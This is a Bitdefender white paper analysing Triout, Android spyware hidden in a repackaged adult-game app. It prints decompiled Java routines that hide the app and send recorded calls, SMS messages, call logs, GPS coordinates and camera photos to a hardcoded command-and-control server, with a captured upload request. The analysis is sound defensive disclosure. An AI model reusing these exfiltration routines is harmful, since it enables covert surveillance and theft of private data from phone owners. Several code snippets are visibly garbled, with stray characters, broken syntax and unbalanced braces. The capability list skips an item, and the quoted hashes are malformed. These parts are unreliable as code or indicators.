Triout - The Malware Framework for Android That Packs Potent Spyware Capabilities
Authors:
Cristofor Ochinca - Security Researcher
Foreword

Android malware is neither new nor scarce. If anything, the proliferation of Android devices – from smartphones to tablets and smart TVs – has sparked renewed interest among malware developers in new and potent threats. Even government-linked cyber-espionage groups have been leveraging Android malware to infect soldiers’ devices and track military units.

Since smartphones have become an integral part of our personal and business lives, imbuing them with surveillance and data exfiltration capabilities caused by malware, can jeopardize users’ privacy and expose them to data theft and cyberespionage.

The capabilities of Android malware are similar in complexity and surveillance capabilities to PC malware. From enabling remote microphone access to full camera control or access to all on-device data, Android malware can be stealthy, highly targeted, and extremely versatile.

Bitdefender researchers have identified a new Android spyware that seems to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware’s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures, collecting GPS coordinates, and broadcasting all of that to an attacker-controlled C&C server.

The most interesting fact regarding this spyware framework is that the application was first submitted from Russia and the majority of scans/reports came from Israel.

Overview

Discovered by Bitdefender’s machine learning algorithms on 20.07.2018, the sample’s first appearance seems to be 15.05.2018, when it was uploaded to VirusTotal. The application seems to be a repackaged version of “com.xapps.SexGameForAdults” (MD5: 51df-2597faa3fcee38a4c5ae024f97b1c) and the tainted .apk file is named 208822308.apk. The original app seems to have been available in Google Play in 2016, but it has since been removed. While it’s unclear how the tainted sample is being disseminated, third-party marketplaces or some other attacker-controlled domains are likely used to host the sample.

As it was only detected by our machine learning algorithms, a subsequent investigation revealed that the spyware has the following capabilities:

1. Records every phone call (literally the conversation as a media file), then sends it together with the caller id to the C&C (incall3.php and outcall3.php)
2. logs every incoming SMS message (SMS body and SMS sender) to C&C (script3.php)
3. Has capability to hide self
5. Whenever the user snaps a picture, either with the front or rear camera, it gets sent to the C&C (uppc.php, finpic.php or reqpic.php)

What’s striking about sample is that it’s completely unobfuscated, meaning that simply by unpacking the .apk file, full access to the source code becomes available. This could suggest the framework may be a work-in-progress, with developers testing features and compatibility with devices.

The C&C (command and control) server to which the application seems to be sending collected data appears to be operational, as of this writing, and running since May 2018.
Spot the Difference

The malware application is almost identical to the original app, both in code and functionality, except for the malicious payload. Starting from the app’s icon to the in-app screens, the malicious version seems to keep all original functionality, potentially so as not to arouse any suspicion from its victim.

Running App Screenshots

Clean app icon

Malware app icon
White Paper

Clean  Malware
A Closer Look at the Spyware's Capabilities

The app communicates with the C&C using a single IP address that's hardcoded.

```java
package psp.jsp.datamd;

class v {
    public static String a = "0";
    public static boolean b = false;
    public static String c = "7";
    private static final v e = new v("88........");
    private String d;

    v(String str) {
        this.d = str;
    }
    
    public static v c() {
        return e;
    }
    
    public String a() {
        return a;
    }
    
    public void a(String str) {
        a = str;
    }
    
    public String b() {
        return this.d;
    }
}
```

It can also hide itself, but the functionality is not used, and isn’t referenced anywhere.

```java
package psp.jsp.datamd;

import android.app.Activity;
import android.content.ComponentName;
import android.os.Bundle;

public class COMSPM extends Activity {
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        requestWindowFeature();
        getWindow().setFlags(1024, 1024);
        getPackageManager().setComponentEnabledSetting(new ComponentName(this, COMSPM.class), 2, 1);
        if (getApplicationInfo().flags & 129) == 0) {
        }
}
```

On incoming/outgoing calls, “pid” and “callid” are sent to C&C.
```java
public String a(String str, String str2) {
    HttpClient defaultHttpClient = new DefaultHttpClient();
    HttpUnRequest httpPost = new HttpPost("http://" + this.b + "/outcall3.php");
    try {
        List arrayList = new ArrayList(3);
        arrayList.add(new BasicNameValuePair("pid", str));
        arrayList.add(new BasicNameValuePair("callid", str2));
        httpPost.setEntity(new UrlEncodedFormEntity(arrayList));
        defaultHttpClient.execute(httpPost);
        return "ok";
    } catch (ClientProtocolException e) {
        return "error";
    } catch (IOException e2) {
        return "error";
    }
}

public String a(String str, String str2) {
    HttpClient defaultHttpClient = new DefaultHttpClient();
    HttpUnRequest httpPost = new HttpPost("http://" + this.b + "/incall3.php");
    try {
        List arrayList = new ArrayList(3);
        arrayList.add(new BasicNameValuePair("pid", str));
        arrayList.add(new BasicNameValuePair("callid", str2));
        httpPost.setEntity(new UrlEncodedFormEntity(arrayList));
        defaultHttpClient.execute(httpPost);
        return "ok";
    } catch (ClientProtocolException e) {
        return "error";
    } catch (IOException e2) {
        return "error";
    }
}
The calls are also recorded to a local file using a dynamically generated name, with the help of MediaRecorder.
Each recording file is then sent to the C&C server.

```java
public int b(String str, Context context) {
    a("upload is gone ...", context);
    try {
        if (str == null) {
            return this.n;
        }
        String str2 = "str";
        String str3 = "str";
        String str4 = "str";
        File file = new File(str);
        a("file not found ...", context);
        if (file.isFile()) {
            try {
                FileInputStream fileInputStream = new FileInputStream(file);
                URL url = new URL(this.m);
                HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
                httpURLConnection.setRequestMethod("POST");
                httpURLConnection.setRequestProperty("Connection", "Keep-Alive");
                httpURLConnection.setRequestProperty("Content-Type", "multipart/form-data" + str4);
                httpURLConnection.setRequestProperty("Content-Disposition: form-data: name=\"uploaded_file\"; filename=\"" + str + "\" + str2);
                httpURLConnection.setDoOutput(true);
                httpURLConnection.setRequestProperty("Content-Length", String.valueOf(file.length()));
                PrintWriter javaPrintWriter = new PrintWriter(httpURLConnection.getOutputStream());
                javaPrintWriter.write("file: " + file.getAbsolutePath());
                javaPrintWriter.flush();
                if (httpURLConnection.getResponseCode() == 200) {
                    InputStream inputStreamReader = new InputStreamReader(httpURLConnection.getInputStream());
                    new File(str).delete();
                }
                fileInputStream.close();
                dataOutputStream.close();
            } catch (IOException e) {
                a("error: " + e.getMessage(), context);
            }
            catch (Exception e2) {
                e2.printStackTrace();
                a("upload errooo..." + e2.getMessage(), context);
            }
            return this.n;
        }
    } catch (MalformedURLException e) {
        a("error: " + e.getMessage(), context);
    }
    return 0;
}
```
The same thing happens with SMS messages.

```java
public String a(String str, String str2, String str3) {
    HttpClient defaultHttpClient = new DefaultHttpClient();
    HttpUnRequest httpPost = new HttpPost("http://" + this.d + "/script3.php");
    try {
        List arrayList = new ArrayList(3);
        arrayList.add(new BasicNameValuePair("pid", str));
        arrayList.add(new BasicNameValuePair("smsbody", URLEncoder.encode(str2, "UTF-8")));
        arrayList.add(new BasicNameValuePair("smssender", str3));
        httpPost.setEntity(new UrlEncodedFormEntity(arrayList));
        Log.i("Postdata", str2);
        defaultHttpClient.execute(httpPost);
        return "ok";
    } catch (ClientProtocolException e) {
        return "error";
    } catch (IOException e2) {
        return "error";
    }
}
```

TCPDUMP:

```
POST /script3.php HTTP/1.1
Content-Length: 55
Content-Type: application/x-www-form-urlencoded
Host: 188.
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

pid=0&smsbody=null&message=goes here&smsender=123456789
HTTP/1.1 200 OK
Date: Mon, 30 Jul 2018 16:56:59 GMT
Server: Apache/2.4.4 (win32) PHP/5.4.12
X-Powered-By: PHP/5.4.12
Content-Length: 6
Connection: close
Content-Type: text/html

ok
```
All the call logs are recorded and sent to the C&C. Everything from call date, call duration, and caller name is logged and broadcasted.

```java
public String a(String str, String str2, String str3, String str4, String str5, String str6) {
    HttpClient defaultHttpClient = new DefaultHttpClient();
    HttpUriRequest httpPost = new HttpPost("http://" + this.a + "/calllog.php");
    try {
        List arraylist = new ArrayList(6);
        arraylist.add(new BasicNameValuePair("pid", str));
        arraylist.add(new BasicNameValuePair("callname", URL.encode(str2, "UTF-8")));
        arraylist.add(new BasicNameValuePair("callnum", str3));
        arraylist.add(new BasicNameValuePair("calldate", str4));
        arraylist.add(new BasicNameValuePair("calltype", str5));
        arraylist.add(new BasicNameValuePair("callduration", str6));
        httpPost.setEntity(new UrlEncodedFormEntity(arraylist));
        Log.i("Postdata", str2);
        defaultHttpClient.execute(httpPost);
        return "ok";
    } catch (ClientProtocolException e) {
        return "error";
    } catch (IOException e2) {
        return "error";
    }
}
```

One of the more disturbing features is camera capture. The application can use either the front or the rear camera to take snapshots.

```java
private int b() {
    int numberOfCameras = Camera.getNumberOfCameras();
    for (int i = 0; i < numberOfCameras; i++) {
        CameraInfo cameraInfo = new CameraInfo();
        Camera.getInfo(i, cameraInfo);
        if (cameraInfo.facing == 1) {
            return i;
        }
    }
    return -1;
}
```

```java
private int c() {
    int numberOfCameras = Camera.getNumberOfCameras();
    for (int i = 0; i < numberOfCameras; i++) {
        CameraInfo cameraInfo = new CameraInfo();
        Camera.getInfo(i, cameraInfo);
        if (cameraInfo.facing == 0) {
            return i;
        }
    }
    return -1;
}
```

```java
    c("cam started");
    String a = v.c().a();
    this.b = "http://" + this.g + "/uppc.php";
    this.f = new Thread(new i(this, a));
    this.f.start();
```

Afterwards, every snapped picture is saved under a dynamically generated name and sent to the C&C server.
public int b(String str) {
    this.b = http://" + this.a + "/web.jsp;  
    String str1 = "\";  
    String str2 = new String();  
    String str4 = ";
    if (fileaFile()) {
        try {
            a("File exist and upload process began");  
            FileInputStream mbytes = new FileInputStream(file);  
            HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(this.a).openConnection();  
            httpURLConnection.setRequestProperty("Connection", "Keep-Alive");  
            httpURLConnection.setRequestProperty("Content-Type", "multipart/form-data;boundary=--str");  
            httpURLConnection.setRequestProperty("Content-Disposition: form-data; name=" + str4 + ";\" + str + ";\" + str2);  
            String s = new String(mbytes.available(), 1048576);  
            byte[] bArr = new byte芚mbArr;  
            int read = mbytes.read(bArr, 0, mArr);  
            while (read > 0) {
                dataOutputStream.write(bArr, 0, read);  
                mArr = Math.min(mbytes.available(), 1048576);  
                read = mbytes.read(bArr, 0, mArr);  
            }
            dataOutputStream.writeBytes(0str2);  
            dataOutputStream.writeBytes(0str2);  
            dataOutputStream.writeBytes(0str2);  
            dataOutputStream.writeBytes(0str2);  
            dataOutputStream.writeBytes(0str2);  
            dataOutputStream.writeBytes(0str2);
        }
    }
    mbytes.close();  
    dataOutputStream.close();  
    dataOutputStream.close();
    } catch (MalformedURLException e) {
        a("MalformedURLException");
    }
    catch (Exception e2) {
        e2.printStackTrace();
    }
    return this.c;
}

public void oPictureDownload(byte[] bArr, Camera camera) {
    String s = "\") (bArr);  
    File file = new File(new StringBuilder(String.valueOf(\"f.getFiles().get(\".getPaths() + str2).toString();
    if (!file.exists()) {
        a("Can't create directory to save image.");
    }
    file = new File(file.getPath(); + str + new StringBuilder(String.valueOf(\"f.getFiles().get(\".append(new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss\") + new Date());
    try {
        a("Image is stored");
        new Thread(new Runnable() {
            if (new Image) {
                a("New Image saved = \" + String.valueOf(bArr.length; + " + file.getPath());
            }
        });
        return;
    }
}

Another feature is GPS coordinates logging. All GPS coordinates are tracked and sent to the C&C server using an HTTP Post.
public String a(String str1, String str2, String str3) {
    HttpClient defaultHttpClient = new DefaultHttpClient();
    HttpUriRequest httpPost = new HttpPost("http://" + this.f + "/gps3.php");
    try {
        List arraylist = new ArrayList(3);
        arraylist.add(new BasicNameValuePair("pid", str1));
        arraylist.add(new BasicNameValuePair("lat", str2));
        arraylist.add(new BasicNameValuePair("long", str3));
        httpPost.setEntity(new UrlEncodedFormEntity(arrayList));
        defaultHttpClient.execute(httpPost);
        return "ok";
    } catch (ClientProtocolException e) {
        return "error";
    } catch (IOException e2) {
        return "error";
    }
}

The application is signed with the Google Debug Certificate

SHA-1: 61ed377e85d386a8dfee6b864bd85b0f8a5af81
INFO: C=US, ST=California, L=Mountain View, O=Android, OU=Android, CN=Android, EA=android@android.com
Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors and reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology, and is a leading security provider in virtualization and cloud technologies. Through R&D, alliances and partnership teams, Bitdefender has elevated the highest standards of security excellence in both its number-one-ranked technology and its strategic alliances with the world’s leading virtualization and cloud technology providers. More information is available at http://www.bitdefender.com/